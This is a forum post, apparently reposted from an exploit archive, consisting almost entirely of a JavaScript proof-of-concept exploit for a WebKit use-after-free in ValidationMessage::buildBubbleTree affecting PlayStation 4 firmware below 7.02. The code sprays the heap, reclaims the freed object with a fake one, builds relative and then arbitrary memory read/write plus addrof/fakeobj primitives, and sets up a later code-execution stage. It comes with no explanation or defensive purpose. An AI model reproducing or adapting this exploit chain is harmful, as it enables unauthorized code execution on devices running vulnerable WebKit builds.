Hoşgeldin Misafir

Sony Playstation 4 < 7.02 - ValidationMessage::buildBubbleTree() Use-After-Free WebKi

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Sony Playstation 4 < 7.02 - ValidationMessage::buildBubbleTree() Use-After-Free WebKit Exploit--


Kod:
Sony Playstation 4 (PS4) < 7.02 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)
 
 
const OFFSET_ELEMENT_REFCOUNT = 0x10;
const OFFSET_JSAB_VIEW_VECTOR = 0x10;
const OFFSET_JSAB_VIEW_LENGTH = 0x18;
const OFFSET_LENGTH_STRINGIMPL = 0x04;
const OFFSET_HTMLELEMENT_REFCOUNT = 0x14;
 
const LENGTH_ARRAYBUFFER = 0x8;
const LENGTH_STRINGIMPL = 0x14;
const LENGTH_JSVIEW = 0x20;
const LENGTH_VALIDATION_MESSAGE = 0x30;
const LENGTH_TIMER = 0x48;
const LENGTH_HTMLTEXTAREA = 0xd8;
 
const SPRAY_ELEM_SIZE = 0x6000;
const SPRAY_STRINGIMPL = 0x1000;
 
const NB_FRAMES = 0xfa0;
const NB_REUSE = 0x8000;
 
var g_arr_ab_1 = [];
var g_arr_ab_2 = [];
var g_arr_ab_3 = [];
 
var g_frames = [];
 
var g_relative_read = null;
var g_relative_rw = null;
var g_ab_slave = null;
var g_ab_index = null;
 
var g_timer_leak = null;
var g_jsview_leak = null;
var g_jsview_butterfly = null;
var g_message_heading_leak = null;
var g_message_body_leak = null;
 
var g_obj_str = {};
 
var g_rows1 = '1px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "1px";
var g_rows2 = '2px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "2px";
 
var g_round = 1;
var g_input = null;
 
var guess_htmltextarea_addr = new Int64("0x2031b00d8");
 
var master_b = new Uint32Array(2);
var slave_b =  new Uint32Array(2);
var slave_addr;
var slave_buf_addr;
var master_addr;
 
 
/* Executed after deleteBubbleTree */
function setupRW() {
        /* Now the m_length of the JSArrayBufferView should be 0xffffff01 */
        for (let i = 0; i < g_arr_ab_3.length; i++) {
                if (g_arr_ab_3[i].length > 0xff) {
                        g_relative_rw = g_arr_ab_3[i];
                        debug_log("[+] Succesfully got a relative R/W");
                        break;
                }
        }
        if (g_relative_rw === null)
                die("[!] Failed to setup a relative R/W primitive");
 
        debug_log("[+] Setting up arbitrary R/W");
 
        /* Retrieving the ArrayBuffer address using the relative read */
        let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1;
        let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR));
 
        /* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */
        let ab_index = g_jsview_leak.sub(ab_addr).low32();
        if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER)
                g_ab_index = ab_index + LENGTH_JSVIEW;
        else
                g_ab_index = ab_index - LENGTH_JSVIEW;
 
        /* Overding the length of one JSArrayBufferView with a known value */
        g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41;
 
        /* Looking for the slave JSArrayBufferView */
        for (let i = 0; i < g_arr_ab_3.length; i++) {
                if (g_arr_ab_3[i].length === 0x41) {
                        g_ab_slave = g_arr_ab_3[i];
                        g_arr_ab_3 = null;
                        break;
                }
        }
        if (g_ab_slave === null)
                die("[!] Didn't found the slave JSArrayBufferView");
 
        /* Extending the JSArrayBufferView length */
        g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff;
        g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff;
        g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff;
        g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff;
 
        debug_log("[+] Testing arbitrary R/W");
 
        let saved_vtable = read64(guess_htmltextarea_addr);
        write64(guess_htmltextarea_addr, new Int64("0x4141414141414141"));
        if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141"))
                die("[!] Failed to setup arbitrary R/W primitive");
 
        debug_log("[+] Succesfully got arbitrary R/W!");
 
        /* Restore the overidden vtable pointer */
        write64(guess_htmltextarea_addr, saved_vtable);
 
        /* Cleanup memory */
        cleanup();
 
        /* Set up addrof/fakeobj primitives */
        g_ab_slave.leakme = 0x1337;
        var bf = 0;
        for(var i = 15; i >= 8; i--)
                bf = 256 * bf + g_relative_rw[g_ab_index + i];
        g_jsview_butterfly = new Int64(bf);
        if(!read64(g_jsview_butterfly.sub(16)).equals(new Int64("0xffff000000001337")))
                die("[!] Failed to setup addrof/fakeobj primitives");
        debug_log("[+] Succesfully got addrof/fakeobj");
 
        /* Getting code execution */
        /* ... */
        var leak_slave = addrof(slave_b);
        var slave_addr = read64(leak_slave.add(0x10));
 
        og_slave_addr = new int64(slave_addr.low32(), slave_addr.hi32());
        var leak_master = addrof(master_b);
        write64(leak_master.add(0x10), leak_slave.add(0x10));
        var prim = {
                write8: function(addr, val) {
                        master_b[0] = addr.low;
                        master_b[1] = addr.hi;
 
                        if(val instanceof int64) {
                                slave_b[0] = val.low;
                                slave_b[1] = val.hi;
                        }
                        else {
                                slave_b[0] = val;
                                slave_b[1] = 0;
                        }
 
                        master_b[0] = og_slave_addr.low;
                        master_b[1] = og_slave_addr.hi;
                },
                write4: function(addr, val) {
                        master_b[0] = addr.low;
                        master_b[1] = addr.hi;
 
                        slave_b[0] = val;
 
                        master_b[0] = og_slave_addr.low;
                        master_b[1] = og_slave_addr.hi;
                },
                read8: function(addr) {
                        master_b[0] = addr.low;
                        master_b[1] = addr.hi;
                        var r = new int64(slave_b[0], slave_b[1]);
                        master_b[0] = og_slave_addr.low;
                        master_b[1] = og_slave_addr.hi;
                        return r;
                },
                read4: function(addr) {
                        master_b[0] = addr.low;
                        master_b[1] = addr.hi;
                        var r = slave_b[0];
                        master_b[0] = og_slave_addr.low;
                        master_b[1] = og_slave_addr.hi;
                        return r;
                },
                leakval: function(val) {
                        g_ab_slave.leakme = val;
                        master_b[0] = g_jsview_butterfly.low32() - 0x10;
                        master_b[1] = g_jsview_butterfly.hi32();
                        var r = new int64(slave_b[0], slave_b[1]);
                        master_b[0] = og_slave_addr.low;
                        master_b[1] = og_slave_addr.hi;
                        return r;
                },
        };
        window.prim = prim;
        setTimeout(stage2, 1000);
}
 
function read(addr, length) {
        for (let i = 0; i < 8; i++)
                g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
        let arr = [];
        for (let i = 0; i < length; i++)
                arr.push(g_ab_slave[i]);
        return arr;
}
 
function read64(addr) {
        return new Int64(read(addr, 8));
}
 
function write(addr, data) {
        for (let i = 0; i < 8; i++)
                g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
        for (let i = 0; i < data.length; i++)
                g_ab_slave[i] = data[i];
}
 
function write64(addr, data) {
        write(addr, data.bytes());
}
 
function addrof(obj) {
        g_ab_slave.leakme = obj;
        return read64(g_jsview_butterfly.sub(16));
}
 
function fakeobj(addr) {
        write64(g_jsview_butterfly.sub(16), addr);
        return g_ab_slave.leakme;
}
 
function cleanup() {
        select1.remove();
        select1 = null;
        input1.remove();
        input1 = null;
        input2.remove();
        input2 = null;
        input3.remove();
        input3 = null;
        div1.remove();
        div1 = null;
        g_input = null;
        g_rows1 = null;
        g_rows2 = null;
        g_frames = null;
}
 
/*
 * Executed after buildBubbleTree
 * and before deleteBubbleTree
 */
function confuseTargetObjRound2() {
        if (findTargetObj() === false)
                die("[!] Failed to reuse target obj.");
 
        g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble();
 
        setTimeout(setupRW, 6000);
}
 
 
/* Executed after deleteBubbleTree */
function leakJSC() {
        debug_log("[+] Looking for the smashed StringImpl...");
 
        var arr_str = Object.getOwnPropertyNames(g_obj_str);
 
        /* Looking for the smashed string */
        for (let i = arr_str.length - 1; i > 0; i--) {
                if (arr_str[i].length > 0xff) {
                        debug_log("[+] StringImpl corrupted successfully");
                        g_relative_read = arr_str[i];
                        g_obj_str = null;
                        break;
                }
        }
        if (g_relative_read === null)
                die("[!] Failed to setup a relative read primitive");
 
        debug_log("[+] Got a relative read");
 
        var tmp_spray = {};
        for(var i = 0; i < 100000; i++)
                tmp_spray['Z'.repeat(8 * 2 * 8 - 5 - LENGTH_STRINGIMPL) + (''+i).padStart(5, '0')] = 0x1337;
 
        let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER);
 
        /* Spraying JSView */
        let tmp = [];
        for (let i = 0; i < 0x10000; i++) {
                /* The last allocated are more likely to be allocated after our relative read */
                if (i >= 0xfc00)
                        g_arr_ab_3.push(new Uint8Array(ab));
                else
                        tmp.push(new Uint8Array(ab));
        }
        tmp = null;
 
        /*
         * Force JSC ref on FastMalloc Heap
         * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
         */
        var props = [];
        for (var i = 0; i < 0x400; i++) {
                props.push({ value: 0x42424242 });
                props.push({ value: g_arr_ab_3[i] });
        }
 
        /* 
         * /!\
         * This part must avoid as much as possible fastMalloc allocation
         * to avoid re-using the targeted object 
         * /!\ 
         */
        /* Use relative read to find our JSC obj */
        /* We want a JSView that is allocated after our relative read */
        while (g_jsview_leak === null) {
                Object.defineProperties({}, props);
                for (let i = 0; i < 0x800000; i++) {
                        var v = undefined;
                        if (g_relative_read.charCodeAt(i) === 0x42 &&
                                g_relative_read.charCodeAt(i + 0x01) === 0x42 &&
                                g_relative_read.charCodeAt(i + 0x02) === 0x42 &&
                                g_relative_read.charCodeAt(i + 0x03) === 0x42) {
                                if (g_relative_read.charCodeAt(i + 0x08) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x0f) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x10) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x17) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x18) === 0x0e &&
                                        g_relative_read.charCodeAt(i + 0x1f) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x28) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x2f) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x30) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x37) === 0x00 &&
                                        g_relative_read.charCodeAt(i + 0x38) === 0x0e &&
                                        g_relative_read.charCodeAt(i + 0x3f) === 0x00)
                                        v = new Int64(str2array(g_relative_read, 8, i + 0x20));
                                else if (g_relative_read.charCodeAt(i + 0x10) === 0x42 &&
                                        g_relative_read.charCodeAt(i + 0x11) === 0x42 &&
                                        g_relative_read.charCodeAt(i + 0x12) === 0x42 &&
                                        g_relative_read.charCodeAt(i + 0x13) === 0x42)
                                        v = new Int64(str2array(g_relative_read, 8, i + 8));
                        }
                        if (v !== undefined && v.greater(g_timer_leak) && v.sub(g_timer_leak).hi32() === 0x0) {
                                g_jsview_leak = v;
                                props = null;
                                break;
                        }
                }
        }
        /* 
         * /!\
         * Critical part ended-up here
         * /!\ 
         */
 
        debug_log("[+] JSArrayBufferView: " + g_jsview_leak);
 
        /* Run the exploit again */
        prepareUAF();
}
 
/*
 * Executed after buildBubbleTree
 * and before deleteBubbleTree
 */
function confuseTargetObjRound1() {
        /* Force allocation of StringImpl obj. beyond Timer address */
        sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2);
 
        /* Checking for leaked data */
        if (findTargetObj() === false)
                die("[!] Failed to reuse target obj.");
 
        dumpTargetObj();
 
        g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble();
 
        /*
         * The timeout must be > 5s because deleteBubbleTree is scheduled to run in
         * the next 5s
         */
        setTimeout(leakJSC, 6000);
}
 
function handle2() {
        /* focus elsewhere */
        input2.focus();
}
 
function reuseTargetObj() {
        /* Delete ValidationMessage instance */
        document.body.appendChild(g_input);
 
        /*
         * Free ValidationMessage neighboors.
         * SmallLine is freed -> SmallPage is cached
         */
        for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++)
                g_frames[i].setAttribute("rows", ',');
 
        /* Get back target object */
        for (let i = 0; i < NB_REUSE; i++) {
                let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);
                let view = new Float64Array(ab);
 
                view[0] = guess_htmltextarea_addr.asDouble();   // m_element
                view[3] = guess_htmltextarea_addr.asDouble();   // m_bubble
 
                g_arr_ab_1.push(view);
        }
 
        if (g_round == 1) {
                /*
                 * Spray a couple of StringImpl obj. prior to Timer allocation
                 * This will force Timer allocation on same SmallPage as our Strings
                 */
                sprayStringImpl(0, SPRAY_STRINGIMPL);
 
                g_frames = [];
                g_round += 1;
                g_input = input3;
 
                setTimeout(confuseTargetObjRound1, 10);
        } else {
                setTimeout(confuseTargetObjRound2, 10);
        }
}
 
function dumpTargetObj() {
        debug_log("[+] m_timer: " + g_timer_leak);
        debug_log("[+] m_messageHeading: " + g_message_heading_leak);
        debug_log("[+] m_messageBody: " + g_message_body_leak);
}
 
function findTargetObj() {
        for (let i = 0; i < g_arr_ab_1.length; i++) {
                if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {
                        debug_log("[+] Found fake ValidationMessage");
 
                        if (g_round === 2) {
                                g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
                                g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
                                g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
                                g_round++;
                        }
 
                        g_fake_validation_message = g_arr_ab_1[i];
                        g_arr_ab_1 = [];
                        return true;
                }
        }
        return false;
}
 
function prepareUAF() {
        g_input.setCustomValidity("ps4");
 
        for (let i = 0; i < NB_FRAMES; i++) {
                var element = document.createElement("frameset");
                g_frames.push(element);
        }
 
        g_input.reportValidity();
        var div = document.createElement("div");
        document.body.appendChild(div);
        div.appendChild(g_input);
 
        /* First half spray */
        for (let i = 0; i < NB_FRAMES / 2; i++)
                g_frames[i].setAttribute("rows", g_rows1);
 
        /* Instantiate target obj */
        g_input.reportValidity();
 
        /* ... and the second half */
        for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++)
                g_frames[i].setAttribute("rows", g_rows2);
 
        g_input.setAttribute("onfocus", "reuseTargetObj()");
        g_input.autofocus = true;
}
 
/* HTMLElement spray */
function sprayHTMLTextArea() {
        debug_log("[+] Spraying HTMLTextareaElement ...");
 
        let textarea_div_elem = document.createElement("div");
        document.body.appendChild(textarea_div_elem);
        textarea_div_elem.id = "div1";
        var element = document.createElement("textarea");
 
        /* Add a style to avoid textarea display */
        element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';
 
        /*
         * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
         * allocation of the node attributes and an IsoHeap allocation of the
         * Element. The virtual page layout will look something like that:
         * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
         */
        for (let i = 0; i < SPRAY_ELEM_SIZE; i++)
                textarea_div_elem.appendChild(element.cloneNode());
}
 
/* StringImpl Spray */
function sprayStringImpl(start, end) {
        for (let i = start; i < end; i++) {
                let s = new String("A".repeat(LENGTH_TIMER - LENGTH_STRINGIMPL - 5) + i.toString().padStart(5, "0"));
                g_obj_str[s] = 0x1337;
        }
}
 
function go() {
        /* Init spray */
        sprayHTMLTextArea();
 
        g_input = input1;
        /* Shape heap layout for obj. reuse */
        prepareUAF();
}
 
#  0day.today [2020-12-23]  #